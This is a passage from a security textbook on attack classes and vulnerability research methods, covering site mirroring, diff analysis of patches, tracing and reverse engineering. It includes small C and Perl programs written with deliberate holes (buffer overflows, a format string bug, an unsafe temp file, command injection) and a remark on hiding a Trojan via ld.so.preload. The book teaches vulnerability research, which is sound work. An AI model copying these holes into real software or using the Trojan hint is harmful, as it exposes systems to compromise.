=> `www.mrhal.com/robots.txt'
Connecting to www.mrhal.com:80... connected!
HTTP request sent, awaiting response... 404 Not Found
11:27:35 ERROR 404: Not Found.
--11:27:35-- http://www.mrhal.com:80/pics/hal.jpg
=> `www.mrhal.com/pics/hal.jpg'
Connecting to www.mrhal.com:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 16,014 [image/jpeg]
0K -> .......... ..... [100%]
11:27:35 (1.91 MB/s) - `www.mrhal.com/pics/hal.jpg' saved [16014/16014]
[&iexcl;K]
FINISHED --11:27:42--
Downloaded: 1,025,502 bytes in 44 files
www.syngress.com
92 Chapter 3 &iexcl;E Classes of Attack
We have denoted the trimming of output from the wget command with the
[&iexcl;K] symbol, because there were 44 files downloaded from the Web site
www.mrhal.com (reported at the end of the session). Wget was executed with the
m and x flags.The m flag, or mirror flag, sets options at the execution of wget to
download all of the files contained within the Web site www.mrhal.com by following
the links.The x flag is used to preserve the directory structure of the site
when it is downloaded.
This type of tool can allow an attacker to index or mirror a site. Afterwards,
the attacker can make use of standard system utilities to sort through the data
rapidly. Programs such as grep will allow the attacker to look for strings that may
be of interest, such as &iexcl;§password,&iexcl;&uml;&iexcl;§root,&iexcl;&uml;&iexcl;§passwd,&iexcl;&uml; or other such strings.
www.syngress.com
Classes of Attack &iexcl;E Chapter 3 93
Summary
There are seven categories of attack, including denial of service (DoS), information
leakage, regular file access, misinformation, special file/database access,
remote arbitrary code execution, and elevation of privileges.
A denial of service attack occurs when a resource is intentionally blocked or
degraded by an attacker. Local denial of service attacks are targeted towards process
degradation, disk space consumption, or inode consumption. Network denial
of service attacks may be launched as either a server-side or client-side attack
(one means of launching a denial of service attack against Web browsers are
JavaScript bombs). Service-based network denial of service attacks are targeted at
a particular service, such as a web server. System-directed network denial of service
attacks have a similar goal to local DoS attacks; to make the system unusable.
One way to accomplish a system-directed network DoS attack is to use SYN
flooding to fill connection queues. Another is the smurf attack, which can consume
all available network bandwidth. Distributed denial of service (DDoS)
attacks are also system-directed network attacks; distributed flood programs such
as tfn and shaft can be used deny service to networks.
Information leakage is an abuse of resources that usually precludes attack.We
examined information leakage through secure shell (SSH) banners and found that
we can fingerprint services such as a Hypertext Transfer Protocol (HTTP) or File
Transfer Protocol (FTP) server using protocol specifications.The Simple Network
Management Protocol (SNMP) is an insecurely designed protocol that allows
easy access to information;Web servers can also yield information, through dotdot-
slash directory traversal attacks.We discussed a hypothetical incident where
one Internet service provider (ISP) stole the passwd file of another to steal customers,
and we dispelled any myths about information leakage by identifying a
system as properly designed when it can cloak, and even disguise, its fingerprint.
Regular file access is a means by which an attacker can gain access to sensitive
information such as usernames or passwords, as well as the ability to change
permissions or ownership on files&iexcl;Xpermissions are a commonly overlooked
security precaution.We differentiated between single-user systems without file
access control and multiuser systems with one or multiple layers of access control;
Solaris Access Control Lists (ACL) and Role-Based Access Control (RBAC) are
examples of additional layers of permissions.We discussed using symbolic link
attacks to overwrite files owned by other users.
Misinformation is defined as providing false data that may result in inadequate
concern. Standard procedures of sending misinformation include log file
www.syngress.com
94 Chapter 3 &iexcl;E Classes of Attack
editing, rootkits, and kernel modules. Log file editing is a rudimentary means of
covering intrusion; the use of rootkits is a more advanced means by replacing
system programs; and kernel modules are an advanced, low-level means of compromising
system integrity at the kernel level.
Special file/database access is another means to gain access to system
resources.We discussed using special files to gain sensitive information such as
passwords. Databases are repositories of sensitive information, and may be taken
advantage of through intermediary software, such as Web interfaces, or through
software problems such as buffer overflows. Diligence is required in managing
database permissions.
Remote arbitrary code execution is a serious problem that can allow an
attacker to gain control of a system, and may be taken advantage of without the
need for authentication. Remote code execution is performed by automated
tools. Note that it is subject to the limits of the program it is exploiting.
Elevation of privileges is when a user gains access to resources not previously
authorized.We explored an attacker gaining privileges remotely as an unprivileged
user, such as through an HTTP daemon running on a UNIX system, and
as a privileged user through a service such as an SSH daemon.We also discussed
the use of Trojan programs, and social engineering by an attacker to gain privileged
access to a host, and noted that a user on a local system may be able to use
these same methods to gain elevated privileges.
Vulnerability testing is a necessary and mandatory task for anybody involved
with the administration or security of information systems. One method of
testing is called proof of concept, which is used to prove the existence of a vulnerability.
Other methods include using exploit code to take advantage of the vulnerability,
using automated security tools to test for the vulnerability, and using
versioning to discover vulnerable versions of software.
An intelligent attack uses research methods prior to an attack.Whois
databases can be used to gain more information about systems, domains, and networks.
Domain Name System (DNS) tools such as dig can be used to gather
information about hosts and the software they use, as well as nslookup to identify
mail servers in a domain.We briefly examined scanning a host with Nmap to
gather information about services available on the host and the operating system
of the host. Finally, we discussed the use of spidering a site to gather information,
such as site layout, and potentially sensitive information stored on the Web.
www.syngress.com
Classes of Attack &iexcl;E Chapter 3 95
Solutions Fast Track
Identifying and Understanding the Classes of Attack
There are seven classes of attacks: denial of service (DoS), information
leakage, regular file access, misinformation, special file/database access,
remote arbitrary code execution, and elevation of privileges.
Denial of service attacks can be leveraged against a host locally or
remotely.
The gathering of intelligence through information leakage almost always
precedes attack.
Insecure directory and file permissions can allow local users to gain
access to information that may be sensitive to other users or the system.
Information on a compromised system can never be trusted and can
only again be trusted when the operating system has been restored from
a known secure medium (such as the vendor distribution medium).
Databases may be attacked either through either interfaces such as the
Web or through problems in the actual database software, such as buffer
overflows.
Many remote arbitrary code execution vulnerabilities may be mitigated
through privilege dropping, change rooting, and non-executable stack
protection.
Privilege elevation can be exploited to gain remote unprivileged user
access, remote privileged user access, or local privileged user access.
Identifying Methods of Testing for Vulnerabilities
Vulnerability testing is a necessary part of ensuring the security of a
system.
&iexcl;§Proof of concept&iexcl;&uml; is the best means of communicating any vulnerability,
because it helps determine where the problem is, and how to
protect against it.
Exploit code is one of the most common &iexcl;§proof of concept&iexcl;&uml; methods.
Exploit code can be found in various repositories on the Internet.
www.syngress.com
96 Chapter 3 &iexcl;E Classes of Attack
The use of automated security tools is common. Most security groups of
any corporation perform regularly scheduled vulnerability audits using
automated security tools.
Versioning can allow a busy security department to assess the impact of a
reported vulnerability against currently deployed systems.
Information from Whois databases can be used to devise an attack
against systems or to get contact information for administrative staff
when an attack has occurred.
Domain Name System (DNS) information can yield information about
network design.
Web spidering can be used to gather information about directory
structure or sensitive files.
Q: Can an attack be a member of more than one attack class?
A: Yes. Some attacks may fall into a number of attack classes, such as a denial of
service that stems from a service crashing from invalid input.
Q: Where can I read more about preventing DDoS attacks?
A: Dave Dittrich has numerous papers available on this topics available on his
Web site www.washington.edu/People/dad.
Q: How can I prevent information leakage?
A: A number of papers are available on this topic. Some types of leakage may be
prevented by the alteration of things such as banners or default error messages.
Other types of leakage, such as protocol-based leakage, will be stopped
only by rewrite of the programs and the changing of standards.
www.syngress.com
Frequently Asked Questions
The following Frequently Asked Questions, answered by the authors of this book,
are designed to both measure your understanding of the concepts presented in
this chapter and to assist you with real-life implementation of these concepts. To
have your questions about this chapter answered by the author, browse to
www.syngress.com/solutions and click on the &iexcl;§Ask the Author&iexcl;&uml; form.
Classes of Attack &iexcl;E Chapter 3 97
Q: Is preventing information leakage &iexcl;§security through obscurity?&iexcl;&uml;
A: Absolutely not.There is no logical reason for communicating credentials of a
software package to users that should not be concerned with it. Stopping the
flow of information makes it that much more resource-intensive for an
attacker and increases the chances of the attacks being discovered.
Q: Where can I get exploit code?
A: Through full disclosure mailing lists such as Bugtraq
(www.securityfocus.com) or through exploit archives such as
PacketStorm (www.packetstormsecurity.org) or Church of the
Swimming Elephant (www.cotse.com).
Q: How can I protect my Whois information?
A: Currently, there is little that you can do.You can always lie when you register
your domain, but you might have problems later when you need to renew.
Also, should you ever get into a domain dispute, having false registration
information won&iexcl;&brvbar;t be likely to help your case.
Q: Can other information be gained through DNS digging?
A: Yes. Misconfigured name servers may allow zone transfers to arbitrary hosts,
which could yield information about network design.

[mic64]

Chapter 4 • Methodology
Introduction
There are several ways to approach any problem; and which approach you choose
usually depends on the resources available to you and the methodology with
which you are most comfortable. In the case of vulnerability research challenges,
the resources may be code, time, or tools.
In some cases, you may be dealing with a software program for which the
source code is readily available. For many people, reading the source code may be
the easiest way for them to determine whether or not there are vulnerabilities;
many vulnerabilities are tied to particular language functions or ways of calling
external functions.The source code often gives the clearest picture of how this
happens in a given program.
Another method of determining how a program works, and therefore
whether there are holes, is reverse engineering, which may require special tools,
such as disassemblers and debuggers. Since much is lost in the translation from
source code to object code, it can often be more difficult to determine exactly
what is happening in reverse engineered code.
The last method is black box testing. Black box testing allows only for the
manipulation of the inputs and the viewing of a given system outputs, without
the internals being known. In some cases (such as attempting to penetrate a
remote system), black box testing may be the only method initially available. In
other cases, it may be used to help chose where to focus further efforts.
In this chapter, we cover the various methodologies used for vulnerability
research, with examples for each method.
Understanding Vulnerability
Research Methodologies
Let us break down vulnerability research methodologies using easily understood terms.
A vulnerability is a problem, either exploitable or not, in anything from a microcontroller
to a supercomputer. Research is the process of gathering information
that may or may not lead to the discovery of a vulnerability. Methodologies are the
commonly used, recommended, or widely accepted methods of vulnerability
research.
Vulnerability research methods are fundamentally the same everywhere. From
the security enthusiast at home to the corporate code auditor, the methods and
tools are the same. Methods ranging from lucky guesses to the scientific method
and tools ranging from hex editors to code disassemblers are applied in everyday
www.syngress.com
www.syngress.com
practice. Some of these methods can appear to be chaotic, while some present
themselves as more detail-oriented and organized. Less experienced researchers
might prefer a more organized approach to vulnerability research, whereas seasoned
researchers with programming experience may rely more on instinct.The
choice of methods tends to be a matter of personal preference.
It should also be mentioned that different data types require different research
methods. Handling binary data requires a very different approach than handling
source code, so let’s examine these approaches separately.
NOTE
There are a number of different organization schemes used by
researchers in the security community when researching vulnerabilities.
These methods are varied; some individuals or groups rely on methodical,
organized, militant audits of programs, performed on a piece-bypiece
basis whereas others use methods with the consistency and
organization of white noise.
Organization is subjective, and best suited to a researcher’s taste. It is
worth mentioning that a number of vulnerability tracking and software
audit tracking packages are freely available; some packages are no more
complex than a Web CGI and SQL Database, while others, such as
Bugzilla, offer a number of features such as user accounts, bug ID numbers
and tracking, and nice interfaces.
Source Code Research
Source code research entails obtaining the source of the program in its proverbial
“potential energy” state.The program source may be written in one of any
number of languages such as C, Perl, Java, C++,ASP, PHP, or the like. Source
code research is typically first begun by searching for error-prone functions.
Searching For Error-Prone Functions
Source is audited in a number of ways.The first method is to use searching utilities
to discover the use of certain error-prone functions in the source code.These
functions may be searched for via the use of utilities such as grep.
Some functions that may be researched are strcpy and sprintf.These C functions
are habitually misused or exploited to perform nefarious activities.The use
Methodology • Chapter 4 101
102 Chapter 4 • Methodology
of these functions can often result in buffer overflows due to lack of bounds
checking. Other functions, such as mktemp, may result in exploitable race conditions
and the overwriting of files, or elevated privileges.
Line-By-Line Review
The next source code review method is a line-by-line review. Line-by-line
reviews involve following the program through execution sequences.This is a
more in-depth look at the program, which requires spending time to get familiar
with all parts of the program.
This type of research usually involves a person following the source through
hypothetical execution sequences. Hypothetical execution sequences use a combination
of different options supported by the program with varying input.The execution
of the program is traced visually, with the researcher mentally tracking the
various data passing through functions as they are handled by the program.
Discovery Through Difference
Discovery through difference is another method used to determine a package’s vulnerabilities.
This type of research is performed when a vendor fixes a vulnerability
in a software package, but doesn’t release details about the problem.This method
is determines whether a file has been altered, and if so, which parts of the file
have been altered from one release to the next.
One of the most important utilities used in this type of research is diff. Diff is
distributed with most UNIX operating systems, and is also available for a wide
variety of other platforms through such groups as the Free Software Foundation.
Diff compares two data samples, and displays any differences encountered.This
program can be used on source files to output the exact differences between the
source bases.
The method of discovery through difference is usually performed to determine
the nature and mode of a vulnerability about which the vendor has released
few details. For example, software update announcements made by Freshmeat
often include vague details about updates to a package that “may affect security,”
such as a recent vulnerability discovered in the axspawn program.
The vulnerability patch was announced as a security update for a potential
buffer overflow. However, no other details were given about the vulnerability.
Upon downloading the 0.2.1 and 0.2.1a versions of the packages, and using the
diff utility to compare them, the problem became apparent:
www.syngress.com
Methodology • Chapter 4 103
elliptic@ellipse:~$ diff axspawn-0.2.1/axspawn.c axspawn-
0.2.1a/axspawn.c
491c491
< envc = 0;
---
> envc = 0;
493c493
< sprintf(envp[envc++], "AXCALL=%s", call);
---
> sprintf(envp[envc++], "AXCALL=%.22s", call);
495c495
< sprintf(envp[envc++], "CALL=%s", (char *)user);
---
> sprintf(envp[envc++], "CALL=%.24s", (char *)user);
497c497
< sprintf(envp[envc++], "PROTOCOL=%s", protocol);
---
> sprintf(envp[envc++], "PROTOCOL=%.20s", protocol);
500c500
< envp[envc] = NULL;
---
> envp[envc] = NULL;
As we can see, the first version of axspawn.c uses sprintf without any restrictions
on the data length. In the second version, the data is length-restricted by
adding format length specifiers.
In some situations, the vendor may already do this work for us by releasing a
patch that is a diff between the two source bases.This is usually the case with
BSD-based operating systems such as FreeBSD.A vulnerability in the FreeBSD
package tools during January of 2002 was discovered that could allow a user to
extract data into a temporary directory and alter it.While this information was
disclosed via the full disclosure method, the patch distributed for pkg_add tells us
exactly where the vulnerability is at:
--- usr.sbin/pkg_install/lib/pen.c 17 May 2001 12:33:39 -0000
+++ usr.sbin/pkg_install/lib/pen.c 7 Dec 2001 20:58:46 -0000
@@ -106,7 +106,7 @@
www.syngress.com
104 Chapter 4 • Methodology
cleanup(0);
errx(2, __FUNCTION__ ": can't mktemp '%s'", pen);
}
- if (chmod(pen, 0755) == FAIL) {
+ if (chmod(pen, 0700) == FAIL) {
cleanup(0);
errx(2, __FUNCTION__ ": can't mkdir '%s'", pen);
}
The sections of source being removed by the patch are denoted with a minus
sign, while the plus sign denotes added sections.As we can see, the section of
source that created the directory with permissions of 0755 is being replaced with
a section that creates the directory with permissions of 0700.
Research may not always be this easy—that said, let’s take a look at
researching binary-only software.
Binary Research
While auditing source is the first-choice method of vulnerability research, binary
research is often the only method we are left with.With the advent of the GNU
License and open source movements, the option of obtaining the source code is
more feasible, but not all vendors have embraced the movement. As such, a great
many software packages remain closed-source.
Tracing Binaries
One method used to spot potential vulnerabilities is tracing the execution of the
program.Various tools can be used to perform this task. Sun packages the truss
program with Solaris for this purpose. Other operating systems include their own
versions, such as strace for Linux.
Tracing a program involves watching the program as it interacts with the
operating system. Environment variables polled by the program can be revealed
with flags used by the trace program. Additionally, the trace reveals memory
addresses used by the program, along with other information.Tracing a program
through its execution can yield information about problems at certain points of
execution in the program.
The use of tracing can help determine when and where in a given program a
vulnerability occurs.
www.syngress.com
Methodology • Chapter 4 105
Debuggers
Debuggers are another method of researching vulnerabilities within a program.
Debuggers can be used to find problems within a program while it runs.There
are various implementations of debuggers available.One of the more commonly
used is the GNU Debugger, or GDB.
Debuggers can be used to control the flow of a program as it executes.With a
debugger, the whole of the program may be executed, or just certain parts.A
debugger can display information such as registers, memory addresses, and other
valuable information that can lead to finding an exploitable problem.
Guideline-Based Auditing
Another method of auditing binaries is by using established design documents
(which should not be confused with source code). Design documents are typically
engineering diagrams or information sheets, or specifications such as a
Request For Comments (RFC).
Researching a program through a protocol specification can lead to a number
of different conclusions.This type of research can not only lead to determining
the compliance of a software package with design specifications, it can also detail
options within the program that may yield problems. By examining the foundation
of a protocol such as Telnet or POP3, it is possible to test services against
these protocols to determine their compliance. Also, applying known types of
attacks (such as buffer overflows or format string attacks) to certain parts of the
protocol implementation could lead to exploitation.
Sniffers
One final method we will mention is the use of sniffers as vulnerability research
tools. Sniffers can be applied to networks as troubleshooting mechanisms or
debugging tools. However, sniffers may also be used for a different purpose.
Sniffers can be used monitor interactivity between systems and users.This can
allow the graphing of trends that occur in packages, such as the generation of
sequence numbers. It may also allow the monitoring of infrastructures like
Common Gateway Interface, to determine the purpose of different CGIs, and
gather information about how they may be made to misbehave.
Sniffers work hand-in-hand with our previously mentioned Guideline-based
auditing. Sniffers may also be used in the research of Web interfaces, or other network
protocols which are not necessarily specified by any sort of public standard,
but are commonly used.
www.syngress.com
106 Chapter 4 • Methodology
The Importance of Source Code Reviews
Auditing source should be a part of any service deployment process.The act of
auditing source involves searching for error-prone functions and using line-byline
auditing methodologies. Often, problems are obscured by the fact that a
given application’s source code may span multiple files.While the code of some
applications may be contained in a single source file, the source code of applications
such as mail transport agents,Web servers, and the like span several source
files, header files, make files, and directories.
Searching Error-Prone Functions
Let us dig into the process of searching for error-prone functions.This type of
search can be performed using a few different methods. One way is to use an
editor and search for error-prone functions by opening each file and using the
editor’s search function.This is time consuming.The more expedient and effi-
cient method involves using the grep utility.
Let’s look at a few rudimentary examples of problems we may find in source
code, that include the above-mentioned functions.
Buffer Overflows
A buffer overflow, also known as a boundary condition error, occurs when an
amount greater than storage set aside for the data is placed in memory. Elias Levy,
also known as Aleph1, wrote an article about this, titled “Smashing the Stack for
Fun and Profit.” It is available in Phrack issue 49, article number 14.
Observe the following program:
/* scpybufo.c */
/* Hal Flynn <mrhal@mrhal.com> */
/* December 31, 2001 */
/* scpybufo.c demonstrates the problem */
/* with the strcpy() function which */
/* is part of the c library. This */
/* program demonstrates strcpy not */
/* sufficiently checking input. When */
/* executed with an 8 byte argument, a */
/* buffer overflow occurs */
www.syngress.com
Methodology • Chapter 4 107
#include <stdio.h>
#include <strings.h>
int main(int argc, char *argv[])
{
overflow_function(*++argv);
return (0);
}
void overflow_function(char *b)
{
char c[8];
strcpy(c, b);
return;
}
In this C program, we can see the use of the strcpy function. Data is taken
from argv[1], then copied into a character array of 8 bytes with the strcpy function.
Since no size checking is performed on either variable, the 8-byte boundary
of the second variable can be overrun, which results in a buffer overflow.
Another commonly encountered error-prone function is sprintf.The sprintf
function is another source of habitual buffer overflow problems. Observe the
following code:
/* sprbufo.c */
/* Hal Flynn <mrhal@mrhal.com> */
/* December 31, 2001 */
/* sprbufo.c demonstrates the problem */
/* with the sprintf() function which */
/* is part of the c library. This */
/* program demonstrates sprintf not */
/* sufficiently checking input. When */
/* executed with an argument of 8 bytes */
/* or more a buffer overflow occurs. */
www.syngress.com
108 Chapter 4 • Methodology
#include <stdio.h>
int main(int argc, char *argv[])
{
overflow_function(*++argv);
return (0);
}
void overflow_function(char *b)
{
char c[8];
sprintf(c, "%s", b);
return;
}
As in the previous example, we have an array taken from argv[1] being copied
to an array of 8 bytes of data.There is no check performed to ensure that the
amount of data being copied between the arrays will actually fit, thus resulting in
a potential buffer overflow.
Similar to the strcpy function is strcat.A common programming error is the
use of the strcat function without first checking the size of the array.This can be
seen in the following example:
/* scatbufo.c */
/* Hal Flynn <mrhal@mrhal.com> */
/* December 31, 2001 */
/* scatbufo.c demonstrates the problem */
/* with the strcat() function which */
/* is part of the c library. This */
/* program demonstrates strcat not */
/* sufficiently checking input. When */
/* executed with a 7 byte argument, a */
/* buffer overflow occurs. */
www.syngress.com
Methodology • Chapter 4 109
#include <stdio.h>
#include <strings.h>
int main(int argc, char *argv[])
{
overflow_function(*++argv);
return (0);
}
void overflow_function(char *b)
{
char c[8] = "0";
strcat(c, b);
return;
}
Data passed from argv[1] to the overflow_function.The data is then concatenated
onto c, an 8-byte character array. Since the size of the data in argv[1] is not
checked, the boundary of c may be overrun.
The gets function is another problematic function in C.The GNU C
Compiler will produce a warning message when it compiles code using the gets
function. Gets does not perform checks on the amount of input received by a
user. Observe the following code:
/* getsbufo.c */
/* Hal Flynn <mrhal@mrhal.com> */
/* December 31, 2001 */
/* This program demonstrates how NOT */
/* to use the gets() function. gets() */
/* does not sufficient check input */
/* length, and can result in serious */
/* problems such as buffer overflows */
www.syngress.com
110 Chapter 4 • Methodology
#include <stdio.h>
int main()
{
get_input();
return (0);
}
void get_input(void)
{
char c[8];
printf("Enter a string greater than seven bytes: ");
gets(c);
return;
}
We can see the use of the gets function.When called, it places the data in the
c character array. However, since this array is only 8 bytes in length, and gets does
not perform proper checking of input, it is easily overflowed.
For additional in-depth information on buffer overflows please refer to
Chapter 8.
Input Validation Bugs
Another common programming problem is the lack of input validation by the
program.The lack of input validation can allow a user to exploit programs such
as setuid executables or Web applications such as CGIs, causing them to misbehave
by passing various types of data to them.
This type of problem can result in format string vulnerabilities.A format string
vulnerability consists of passing several string specifiers such as %i%i%i%i or
%n%n%n%n to a program and possibly resulting in code execution. Format
strings are covered in depth in Chapter 9.
www.syngress.com
Methodology • Chapter 4 111
Rather than covering them in depth, we will provide an example of a format
string vulnerability in code. Observe the following:
/* fmtstr.c */
/* Hal Flynn <mrhal@mrhal.com> */
/* December 31, 2001 */
/* fmtstr.c demonstrates a format */
/* string vulnerability. By supplying */
/* format specifiers as arguments, */
/* attackers may read or write to */
/* memory. */
#include <stdio.h>
int main(int argc, char *argv[])
{
printf(*++argv);
return (0);
}
By running the above program with a string of %n format specifiers, a user
could print to arbitrary locations in memory. If this were a setuid root executable,
this could be exploited to execute code with root privileges.
Lack of input validation by Web applications such as CGIs is another commonly
occurring problem. Often, poorly written CGIs (especially those written in
Perl) permit the escaping of commands by encapsulating them in special characters.
This can allow one to execute arbitrary commands on a system with the privileges
of the Web user.The problem could be exploited to carry out commands
such as removing the index.html, if that file is owned and write-accessible by the
HTTP process. It could even result in a user binding a shell to an arbitrary port
on the system, gaining local access with the permissions of the HTTP process.
This type of problem could also result in a user being able to execute arbitrary
SQL commands. CGI is commonly used to facilitate communication
between a Web front-end and an SQL database back-end, such as Oracle,
MySQL, or Microsoft SQL Server. A user who is able to execute arbitrary SQL
www.syngress.com
112 Chapter 4 • Methodology
commands could view arbitrary tables, perform functions within the database, and
potentially even drop tables.
Observe the following open:
#!/usr/bin/perl
open("ls $ARGV[0] |");
This function does not check the input from $ARGV[0].The intended directory
may be escaped by supplying dot-dot (..) specifiers to the command, which
could list the directory above, and potentially reveal sensitive information.A
deeper discussion of input validation bugs is available in Chapter 7.
Race Conditions
Race conditions are a commonly occurring programming error that can result in
some serious implications. A race condition can be defined as a situation where
one can beat a program to a certain event.This can be anything from the locking
of memory to prevent another process from altering the data in a shared segment
scenario, to the creation of a file within the file system.
A common programming problem is the use of the mktemp function. Let’s
look at the following program:
/* mtmprace.c */
/* Hal Flynn <mrhal@mrhal.com> */
/* mtmprace.c creates a file in the */
/* temporary directory that can be */
/* easily guessed, and exploited */
/* through a symbolic link attack. */
#include <stdio.h>
#include <stdlib.h>
int main()
{
char *example;
char *outfile;
char ex[] = "/tmp/exampleXXXXXX";
example = ex;
www.syngress.com
Methodology • Chapter 4 113
mktemp(example);
outfile = fopen(example, "w");
return (0);
}
This program will, on some operating systems, create a file in the temporary
directory that consists of a predetermined name (it’s called example in the above
source) and ending in six characters, the first five being the process ID, and the
final being a letter.The first problem in this program is that a race occurs
between the check for the existence of the file name and the creation of the file.
Additionally, the name can be easily guessed as the process ID can be predicted.
Therefore, the maximum amount of names the file could use is limited by the
English alphabet, totaling 26 variations.This could result in a symbolic link
attack.To determine whether or not an operating system is using a vulnerable
implementation, examine the files created by this program in the /tmp directory.
By using a utility such as grep, we can investigate large amounts of code for
common problems. Does this still ensure we are safe from vulnerabilities? No. It
does, however, help us find and eliminate the larger part of the programming
problems encountered in programs.The only sure method that one can use to
ensure a secure piece of software is to have multiple parties perform a line-byline
audit. And even then, the security of the software can only be considered
“high,” and not totally secure.
Reverse Engineering Techniques
Reverse engineering programs are one of the most commonly used and accurate
methods of finding vulnerabilities in a closed-source program. Reverse engineering
can be performed with a number of different tools, varying by operating
system and personal taste. However, the methods used to reverse engineer are
similar in most instances.
Generally, you will want to start at a high level and work your way down. In
most cases, this will mean starting with some system monitoring tools to determine
what kinds of files and other resources the program accesses. (A notable
exception is if the program is primarily a network program, in which case you
may want to skip straight to packet sniffing.)
www.syngress.com
114 Chapter 4 • Methodology
Windows doesn’t come with any tools of this sort, so we have to go to a
third party to get them.To date, the premier source of these kinds of tools for
Windows has been the SysInternals site, which can be found at www.sysinternals.
com. In particular, the tools of interest are FileMon, RegMon, and if you’re
using NT, HandleEx.You’ll learn more about these tools in Chapter 5. All you
need to know here is that these tools will allow you to monitor a running program
(or programs) to see what files are being accessed, whether a program is
reading or writing, where in the file it is, and what other files it’s looking for.
That’s the FileMon piece. RegMon allows you to monitor much the same for the
Windows Registry; what keys the program is accessing, modifying, reading,
looking for, etc. HandleEx shows similar information on NT, but is organized in
a slightly different manner. Its output is organized by process, file handle, and
what the file handle is pointing to.
www.syngress.com
VB Decompilers
A fair amount of the code in the world is written in Visual Basic (VB). This
includes both malicious code and regular programs. VB presents a special
challenge to someone wanting to reverse engineer compiled code
written in that language. The last publicly-available VB decompiler only
works up through VB3. Starting in VB5, parts of a compiled VB program
will be “native code” (regular Windows calls), and parts of it will be “pcode”,
which is a bytecode, similar in concept to that to which Java compiles.
The Visual Basic DLL contains an interpreter for this code. The
problem is, there is very little documentation available as to what codes
translate to what VB functions in a compiled program. You could always
decompile the VB DLL, and make your own map, but that would be a
massive undertaking.
The main response to the problem by the underground has been to
use debugging techniques instead. However, this group of people has a
different goal in mind, mainly cracking copy protection mechanisms.
Thus, the information available in those areas is not always directly
applicable to the problem at hand. Most of the public work done in
those areas involves stepping through the code in order to find a section
that checks for a serial number, for example, and disables portions of the
program that don’t check out. The goal in that case is to install a bypass.
Still, such information is a start for the VB analyst.
Notes from the Underground…
Methodology • Chapter 4 115
As an added bonus, there are free versions of nearly all the SysInternals tools,
and most come with source code! (The SysInternals guys run a companion Web
site named Winternals.com where they sell the non-free tools with a little more
functionality added.) UNIX users won’t find that to be a big deal, but it’s still
pretty uncommon on the Windows side.
Most UNIX distributions come with a set of tools that perform the equivalent
function. According to the Rosetta Stone (a list of what a function is called,
cross-referenced by OS.The Rosetta Stone can be found at
http://bhami.com/rosetta.html), there are a number of tracing programs. Of
course, since this is a pretty low-level function, each tracing tool tends to work
with a limited set of OSes. Examples include trace, strace, ktrace, and truss.The following
example is done on Red Hat Linux, version 6.2, using the strace utility.
What strace (and most of the other trace utilities mentioned) does is show system
(kernel) calls and their parameters.We can learn a lot about how a program
works this way.
Rather than just dump a bunch of raw output into your lap, I’ve inserted
explanatory comments in the output:
[elliptic@ellipse]$ echo hello > test
[elliptic@ellipse]$ strace cat test
execve("/bin/cat", ["cat", "test"], [/* 21 vars */]) = 0
Strace output doesn’t begin until the program execution call is made for cat.
Thus, we don’t see the process the shell went through to find cat. By the time
strace kicks in, it’s been located in /bin.We see cat is started with an argument of
“test,” and a list of 21 environment variables. First item of input: arguments.
Second: environment variables.
brk(0) = 0x804b160
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -
1, 0) = 0x40014000
open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or
directory)
The execve call begins its normal loading process; allocating memory, etc. Note
the return value is –1, which indicates an error.The error interpretation is “No
such file...”; indeed, no such file exists.While not exactly “input,” this makes it
clear that if we were able to drop a file by that name, with the right function
names, into the /etc directory, execve would happily run parts of it for us.That
www.syngress.com
116 Chapter 4 • Methodology
would be really useful if root came by later and ran something. Of course, to be
able to do that, we’d need to be able to drop a new file into /etc, which we can’t
do unless someone has messed up the file system permissions. On most UNIX
systems, the ability to write to /etc, means we can get root access any number of
ways.This is just another reason why regular users shouldn’t be able to write to
/etc. Of course, if we’re going to hide a Trojan horse somewhere (after we’ve
already broken root), this might be a good spot.
open("/etc/ld.so.cache", O_RDONLY) = 4
fstat(4, {st_mode=S_IFREG|0644, st_size=12431, ...}) = 0
old_mmap(NULL, 12431, PROT_READ, MAP_PRIVATE, 4, 0) = 0x40015000
close(4) = 0
open("/lib/libc.so.6", O_RDONLY) = 4
fstat(4, {st_mode=S_IFREG|0755, st_size=4101324, ...}) = 0
read(4, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\210\212"...,
4096) = 4096
The first 4K of libc is read. Libc is the standard shared library where reside all
the functions that you call when you do C programming (such as printf, scanf, etc.).
old_mmap(NULL, 1001564, PROT_READ|PROT_EXEC, MAP_PRIVATE, 4, 0) =
0x40019000
mprotect(0x40106000, 30812, PROT_NONE) = 0
old_mmap(0x40106000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED,
4, 0xec000) = 0x40106000
old_mmap(0x4010a000, 14428, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|
MAP_ANONYMOUS, -1, 0) = 0x4010a000
close(4) = 0
mprotect(0x40019000, 970752, PROT_READ|PROT_WRITE) = 0
mprotect(0x40019000, 970752, PROT_READ|PROT_EXEC) = 0
munmap(0x40015000, 12431) = 0
personality(PER_LINUX) = 0
getpid() = 9271
brk(0) = 0x804b160
brk(0x804b198) = 0x804b198
brk(0x804c000) = 0x804c000
open("/usr/share/locale/locale.alias", O_RDONLY) = 4
www.syngress.com
Methodology • Chapter 4 117
fstat64(0x4, 0xbfffb79c) = -1 ENOSYS (Function not
implemented)
fstat(4, {st_mode=S_IFREG|0644, st_size=2265, ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -
1, 0) = 0x40015000
read(4, "# Locale name alias data base.\n#"..., 4096) = 2265
read(4, "", 4096) = 0
close(4) = 0
munmap(0x40015000, 4096) = 0
When programs contain a setlocale function call, libc reads the locale information
to determine the correct way to display numbers, dates, times, etc.Again,
permissions are such that you can’t modify the locale files without root access,
but it’s still something to watch for. Notice that the file permissions are conveniently
printed in each fstat call (that’s the 0644 above, for example).This makes
it easy to visually watch for bad permissions. If you do find a locale file to which
you can write, you might be able to cause a buffer overflow in libc.Third (indirect)
item of input: locale files.
open("/usr/share/i18n/locale.alias", O_RDONLY) = -1 ENOENT (No such file
or directory)
open("/usr/share/locale/en_US/LC_MESSAGES", O_RDONLY) = 4
fstat(4, {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
close(4) = 0
open("/usr/share/locale/en_US/LC_MESSAGES/SYS_LC_MES
SAGES", O_RDONLY) = 4
fstat(4, {st_mode=S_IFREG|0644, st_size=44, ...}) = 0
